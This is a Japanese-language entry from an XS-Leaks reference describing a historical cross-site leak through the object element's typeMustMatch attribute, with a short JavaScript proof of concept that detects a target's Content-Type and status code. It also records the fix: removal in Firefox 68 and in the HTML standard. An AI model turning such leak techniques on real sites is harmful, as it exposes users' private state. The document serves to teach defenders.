Content-Type

Content-Type

October 1, 2020
Abuse typeMustMatch, iframes, Content-Type, Status Code
Category Historical
Defenses Deprecation

リクエストのContent-Typeをリークすることで、攻撃者は2つのリクエストを区別できるようになります。

typeMustMatch #

typeMustMatchobject要素のtypeMustMatch属性を反映したブール値です。これは、オブジェクトを読み込む際に、リソースのContent-Typeがオブジェクトで提供されるものと同じかどうかを検証することで、特定の MIME タイプを強制しなければならないことを保証します。残念ながら、この強制は攻撃者がウェブサイトから返されるContent-Typeとステータスコードを漏らすことも可能にします 1

根本的な原因 #

以下のスニペットを考えると、https://target/api で返された Content-Typetype のものと一致しない場合や、サーバが 200 以外のステータスを返した場合には、 not_loaded がレンダリングされるでしょう。

<object type="application/json"
        data="https://example.org"
        typemustmatch>
not_loaded </object>

問題 #

攻撃者は、すべての条件が満たされたときに起こるオブジェクトのレンダリングを検出することによって、ウェブサイトのContent-Typeとステータスコードをリークできます。攻撃者は、(ステータスコード200で)オブジェクトがレンダリングされるとき、0ではないであろうclientHeightclientWidthの値をチェックできます。typeMustMatchはリソースを読み込む際に、サーバーがステータス200を返すことを要求するので、Error Events XS-Leaksと同様にエラーページを検出することが可能でしょう。

以下の例では、iframe内にオブジェクトを埋め込み、iframeonloadイベントをトリガーしたときにclientHeightclientWidthの値をチェックすることでこの動作を検出する方法を示しています。

// 配送先のWebサイトのURLを設定する
var url = 'https://example.org';
// チェックしたいコンテンツタイプ
var mime = 'application/json';
var ifr = document.createElement('iframe');
// オブジェクトがonloadイベントを発生させないので、iframe内にオブジェクトをロードする。
ifr.srcdoc = `
  <object id="obj" type="${mime}" data="${url}" typemustmatch>
    error
  </object>`;
document.body.appendChild(ifr);

// iframeが読み込まれたら、オブジェクトの高さを読み取ります。
// もしそれが一行のテキストの高さであれば、リソースのContent Typeは`application/json`ではなかったということです。
// もしそうでなければ、それは`application/json`だったということです。
ifr.onload = () => {
    console.log(ifr.contentWindow.obj.clientHeight)
};

修正 #

Firefox は typeMustMatch 属性をサポートする唯一のブラウザでした 2 が、他のブラウザがサポートを提供しなかったため、バージョン 68で削除され、HTML Living Standard からも削除されました。

参考文献 #


  1. Cross-Site Content and Status Types Leakage, link ↩︎

  2. Remove support for typemustmatch, link ↩︎